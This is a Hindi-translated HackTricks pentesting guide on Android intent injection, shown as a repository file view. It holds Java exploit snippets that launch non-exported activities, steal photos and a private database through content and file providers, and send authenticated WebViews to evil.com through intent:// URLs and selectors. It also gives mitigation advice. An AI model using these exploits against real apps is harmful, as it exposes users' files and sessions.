hacktricks/mobile-pentesting/android-app-pentesting/intent-injection.md

263 lines
26 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
2022-04-28 16:01:33 +00:00
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
2022-04-28 16:01:33 +00:00
</details>
**शोध लिया गया** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
2021-07-19 19:50:23 +00:00
2023-11-06 08:38:02 +00:00
# परिचय
2021-07-19 19:50:23 +00:00
यह कमजोरी **वेब सुरक्षा में Open Redirect** के समान है। चूंकि `Intent` क्लास `Parcelable` है, **इस क्लास के ऑब्जेक्ट्स** को दूसरे `Intent` ऑब्जेक्ट में **अतिरिक्त** **डेटा** के रूप में **पास** किया जा सकता है। \
कई डेवलपर्स इस **फीचर** का उपयोग करते हैं और **प्रॉक्सी** **कॉम्पोनेंट्स** (एक्टिविटीज, ब्रॉडकास्ट रिसीवर्स और सर्विसेज) बनाते हैं जो **एक एम्बेडेड Intent को लेकर उसे खतरनाक मेथड्स** जैसे `startActivity(...)`, `sendBroadcast(...)`, आदि को पास करते हैं। \
यह खतरनाक है क्योंकि **एक हमलावर ऐप को एक नॉन-एक्सपोर्टेड कॉम्पोनेंट लॉन्च करने के लिए मजबूर कर सकता है जिसे सीधे दूसरे ऐप से लॉन्च नहीं किया जा सकता**, या हमलावर को इसके कंटेंट प्रोवाइडर्स तक पहुंच प्रदान कर सकता है। **`WebView`** कभी-कभी एक **URL को स्ट्रिंग से `Intent`** ऑब्जेक्ट में बदल देता है, `Intent.parseUri(...)` मेथड का उपयोग करके, और इसे `startActivity(...)` को पास करता है।
2021-07-19 19:50:23 +00:00
{% hint style="info" %}
सारांश: यदि हमलावर एक Intent भेज सकता है जो असुरक्षित रूप से निष्पादित किया जा रहा है, तो वह संभावित रूप से निर्यात नहीं किए गए कॉम्पोनेंट्स तक पहुंच सकता है और उनका दुरुपयोग कर सकता है।
2021-07-19 19:50:23 +00:00
{% endhint %}
# एक विशिष्ट मामला
2021-07-19 19:50:23 +00:00
एक उदाहरण की जांच करते हैं। `AndroidManifest.xml` फाइल का अंश
2021-07-19 19:50:23 +00:00
```markup
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />
```
Activity `ProxyActivity`
2021-07-19 19:50:23 +00:00
```java
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
```
Activity `AuthWebViewActivity`
2021-07-19 19:50:23 +00:00
```java
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
```
`AuthWebViewActivity` एक उदाहरण है **छिपे हुए ऐप कार्यक्षमता का जो कुछ असुरक्षित क्रियाएं करता है**, इस मामले में यूजर के प्रमाणीकरण सत्र को `url` पैरामीटर से प्राप्त URL पर पास करना।
2021-07-19 19:50:23 +00:00
निर्यात प्रतिबंधों का मतलब है **हमलावर सीधे `AuthWebViewActivity` तक पहुँच नहीं सकता**। एक सीधी कॉल
2021-07-19 19:50:23 +00:00
```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
```
फिर भी, हमलावर **पीड़ित को `AuthWebViewActivity` स्वयं लॉन्च करने के लिए मजबूर कर सकता है**:
2021-07-19 19:50:23 +00:00
```java
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
# प्रभाव की वृद्धि
2021-07-19 19:50:23 +00:00
इस संवेदनशीलता के प्रभाव को बढ़ाने के लिए आपको **अन्य वल्न/मिसकॉन्फिगरेशन्स का पता लगाना होगा जो इस संवेदनशीलता के प्रभाव को बढ़ा सकते हैं** (क्योंकि अकेले यह संवेदनशीलता कोई जोखिम नहीं बना रही है)।
2021-07-19 19:50:23 +00:00
## Content Providers के माध्यम से हमलों की वृद्धि
2021-07-19 19:50:23 +00:00
मूल ऐप के मनमाने कॉम्पोनेंट्स तक पहुंच के अलावा, **हमलावर उस वल्नरेबल ऐप के Content Providers तक पहुंचने का प्रयास कर सकता है** जो निम्नलिखित शर्तों को पूरा करते हैं:
2021-07-19 19:50:23 +00:00
* यह **नॉन-एक्सपोर्टेड** होना चाहिए (अन्यथा इसे सीधे हमला किया जा सकता है, इस लेख में चर्चा की जा रही संवेदनशीलता का उपयोग किए बिना)
* इसमें **`android:grantUriPermissions`** फ्लैग को **`true`** पर सेट किया गया होना चाहिए।
* `android:grantUriPermissions="true"` का मतलब है कि आपका Java कोड **किसी भी `Uri` के लिए `FLAG_GRANT_READ_URI_PERMISSION` और `FLAG_GRANT_WRITE_URI_PERMISSION` का उपयोग कर सकता है** जो उस `ContentProvider` द्वारा सेवा किया जाता है।
* `android:grantUriPermissions="false"` का मतलब है कि **केवल वे `Uri` मान जो बच्चे `<grant-uri-permission>` तत्वों द्वारा निर्दिष्ट किए गए हैं** `FLAG_GRANT_READ_URI_PERMISSION` और `FLAG_GRANT_WRITE_URI_PERMISSION` के साथ उपयोग किए जा सकते हैं।
2021-07-19 19:50:23 +00:00
हमलावर को खुद को एक एम्बेडेड इंटेंट का प्राप्तकर्ता के रूप में सेट करना होगा और निम्नलिखित फ्लैग्स सेट करने होंगे
2021-07-19 19:50:23 +00:00
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` प्रोवाइडर तक स्थायी पहुंच की अनुमति देता है (इस फ्लैग के बिना, पहुंच केवल एक बार के लिए होती है)
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` URI तक पहुंच की अनुमति देता है प्रीफिक्स द्वारा उदाहरण के लिए, `content://com.victim.provider/image/1` जैसे पूर्ण पथ का बार-बार अलग से पहुंच प्राप्त करने के बजाय, हमलावर URI `content://com.victim.provider/` का उपयोग करके प्रोवाइडर की सभी सामग्री तक पहुंच प्रदान कर सकता है और फिर `ContentResolver` का उपयोग करके `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, आदि को संबोधित कर सकता है।
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` प्रोवाइडर पर पढ़ने की क्रियाओं की अनुमति देता है (जैसे `query`, `openFile`, `openAssetFile`)
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` लिखने की क्रियाओं की अनुमति देता है
2021-07-19 19:50:23 +00:00
एक ऐसे टिपिकल प्रोवाइडर का उदाहरण जहां हमलावर पहुंच प्राप्त कर सकता है और नियमित क्रियाएं जैसे `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile` कर सकता है।
2021-07-19 19:50:23 +00:00
```markup
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
```
उदाहरण: उपयोगकर्ता की तस्वीरों की चोरी `AndroidManifest.xml` फ़ाइल
2021-07-19 19:50:23 +00:00
```markup
<activity android:name=".LeakActivity" android:exported="true" />
```
2023-11-06 08:38:02 +00:00
`MainActivity.java` फ़ाइल
2021-07-19 19:50:23 +00:00
```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
2023-11-06 08:38:02 +00:00
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
2021-07-19 19:50:23 +00:00
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
`LeakActivity.java`
```java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
```
## Android File Provider पर हमले
2021-07-19 19:50:23 +00:00
यह कमजोरी हमलावर को **ऐप फाइलों को चुराने** की भी संभावना प्रदान करती है जो निर्देशिकाओं में स्थित होती हैं जिन्हें डेवलपर ने पहले से निर्धारित किया होता है। सफल हमले के लिए, दुर्भावनापूर्ण ऐप को **Android File Provider तक पहुँच अधिकार प्राप्त करने की आवश्यकता होती है और फिर Android ContentResolver का उपयोग करके फाइल प्रोवाइडर से सामग्री को पढ़ना होता है**
2021-07-19 19:50:23 +00:00
उदाहरण फाइल प्रोवाइडर (अधिक जानकारी के लिए देखें [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
2021-07-19 19:50:23 +00:00
```markup
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
2023-11-06 08:38:02 +00:00
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
2021-07-19 19:50:23 +00:00
</provider>
```
यह एक विशेष सूची पर फाइलों के लिए पढ़ने/लिखने की पहुंच प्रदान करता है, जिसे ऐप संसाधनों में पाया जा सकता है, इस मामले में `res/xml/provider_paths.xml` में
2021-07-19 19:50:23 +00:00
2023-11-06 08:38:02 +00:00
यह कुछ इस तरह दिख सकता है
2021-07-19 19:50:23 +00:00
```markup
<?xml version="1.0" encoding="utf-8"?>
<paths>
2023-11-06 08:38:02 +00:00
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
2021-07-19 19:50:23 +00:00
</paths>
```
```markdown
प्रत्येक टैग एक मूल निर्देशिका को निर्दिष्ट करता है जिसका `path` मान मूल के सापेक्ष होता है। उदाहरण के लिए, मान `external_files` का संबंध `new File(Environment.getExternalStorageDirectory(), "images")` से होगा।
2021-07-19 19:50:23 +00:00
मान `root-path` का संबंध `/` से है, अर्थात् यह मनमानी फाइलों तक पहुँच प्रदान करता है।
2021-07-19 19:50:23 +00:00
मान लीजिए हमारे पास कुछ गुप्त डेटा फाइल `/data/data/com.victim/databases/secret.db` में संग्रहीत है: इस फाइल की चोरी कुछ इस तरह दिख सकती है `MainActivity.java`
```
2021-07-19 19:50:23 +00:00
```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
`LeakActivity.java`
```java
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
```
## WebView के माध्यम से मनमाने कॉम्पोनेंट्स तक पहुँच
2021-07-19 19:50:23 +00:00
Intent ऑब्जेक्ट को `Intent.toUri(flags)` कॉल के साथ एक स्ट्रिंग में कास्ट किया जा सकता है और स्ट्रिंग से वापस Intent में `Intent.parseUri(stringUri, flags)` का उपयोग करके बदला जा सकता है। यह कार्यक्षमता अक्सर WebView (ऐप का बिल्ट-इन ब्राउज़र) में उपयोग की जाती है: **ऐप `intent://` स्कीम की जांच कर सकता है, URL को Intent में पार्स कर सकता है और एक्टिविटी लॉन्च कर सकता है**
2021-07-19 19:50:23 +00:00
**इस कमजोरी का शोषण अन्य कमजोरियों के माध्यम से भी किया जा सकता है** (उदाहरण के लिए, WebView में ऐप में मनमाने लिंक्स को सीधे खोलने की क्षमता निर्यात की गई एक्टिविटीज के माध्यम से या डीपलिंक मैकेनिज़्म के जरिए) क्लाइंट ऐप में और साथ ही दूरस्थ रूप से, सर्वर साइड पर क्रॉस-साइट स्क्रिप्टिंग या क्लाइंट साइड पर MitM सहित
2021-07-19 19:50:23 +00:00
कमजोर कोड का उदाहरण
2021-07-19 19:50:23 +00:00
```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
2023-11-06 08:38:02 +00:00
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
2021-07-19 19:50:23 +00:00
}
```
यहाँ मुद्दा यह है कि `WebViewClient` क्लास का `shouldOverrideUrlLoading(...)` मेथड हर बार कॉल किया जाता है जब WebView एक नया लिंक लोड करने की कोशिश करता है, लेकिन ऐप को कस्टम हैंडलर जोड़ने का विकल्प देता है।
2021-07-19 19:50:23 +00:00
इस कमजोरी का फायदा उठाने के लिए हमलावर को एक विशेष रूप से तैयार किए गए intent-scheme URL के लिए WebView रीडायरेक्ट बनाने की आवश्यकता होती है। URL निर्माण का उदाहरण
2021-07-19 19:50:23 +00:00
```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
```
2023-11-06 08:38:02 +00:00
उदाहरण हमला
2021-07-19 19:50:23 +00:00
```java
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
```
इस संस्करण में **क्लासिक संस्करण की तुलना में कई प्रतिबंध हैं**:
2021-07-19 19:50:23 +00:00
* एम्बेडेड `Parcelable` और `Serializable` ऑब्जेक्ट्स को स्ट्रिंग में कास्ट नहीं किया जा सकता (वे अनदेखा किए जाएंगे)
* असुरक्षित फ्लैग्स `Intent.FLAG_GRANT_READ_URI_PERMISSION` और `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` को **अनदेखा** किया जाता है जब `Intent.parseUri(...)` को कॉल किया जाता है। पार्सर केवल उन्हें तभी छोड़ेगा जब `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` फ्लैग सेट होता है, जो बहुत दुर्लभ है
2021-07-19 19:50:23 +00:00
बहुत से डेवलपर्स अभी भी WebView के माध्यम से प्राप्त intents की पूरी फिल्टरिंग करना भूल जाते हैं
2021-07-19 19:50:23 +00:00
```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
2023-11-06 08:38:02 +00:00
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
2021-07-19 19:50:23 +00:00
}
```
हमलावर एक सिलेक्टर के माध्यम से एक नॉन-एक्सपोर्टेड कॉम्पोनेंट को निर्दिष्ट कर सकता है
2021-07-19 19:50:23 +00:00
```java
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
```
और ऐप की स्पष्ट intents के खिलाफ सुरक्षा को बायपास करें। इसलिए हम सलेक्टर को भी फिल्टर करने की सिफारिश करते हैं।
2021-07-19 19:50:23 +00:00
```java
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
```
लेकिन पूर्ण फिल्टरिंग भी पूर्ण सुरक्षा की गारंटी नहीं देती है, क्योंकि एक हमलावर एक अस्पष्ट `intent-filter` के अनुरूप एक अनुमानित intent बना सकता है जो किसी गैर-निर्यात की गई गतिविधि के लिए हो। गतिविधि घोषणा का उदाहरण:
2021-07-19 19:50:23 +00:00
```markup
<activity android:name=".AuthWebViewActivity" android:exported="false">
2023-11-06 08:38:02 +00:00
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
2021-07-19 19:50:23 +00:00
</activity>
```
```java
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
```
हम इसलिए सिफारिश करते हैं कि एक activity को लॉन्च करने से पहले यह जांच लें कि वह exported है या नहीं।
2021-07-19 19:50:23 +00:00
## असुरक्षित intents बनाने के अन्य तरीके
2021-07-19 19:50:23 +00:00
कुछ app डेवलपर्स अपने **खुद के intent parsers** को लागू करते हैं (अक्सर **deeplinks** या push संदेशों को संभालने के लिए), जैसे कि **JSON** ऑब्जेक्ट्स, स्ट्रिंग्स या बाइट ऐरेज का उपयोग करते हैं, जो या तो डिफ़ॉल्ट से अलग नहीं होते हैं या फिर बड़ा खतरा पेश करते हैं, क्योंकि वे **`Serializable`** और `Parcelable` ऑब्जेक्ट्स को विस्तारित कर सकते हैं और वे असुरक्षित flags को सेट करने की भी अनुमति देते हैं। सुरक्षा शोधकर्ता को और भी विदेशी संस्करणों का सामना करना पड़ सकता है intent निर्माण के, जैसे कि एक बाइट ऐरे को `Parcel` में कास्ट करना और फिर उससे एक intent पढ़ना
2021-07-19 19:50:23 +00:00
```java
Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
2023-11-06 08:38:02 +00:00
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
2021-07-19 19:50:23 +00:00
}
```
# वल्न ऐप
2021-07-19 19:50:23 +00:00
{% embed url="https://github.com/oversecured/ovaa" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
2022-04-28 16:01:33 +00:00
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
2022-04-28 16:01:33 +00:00
</details>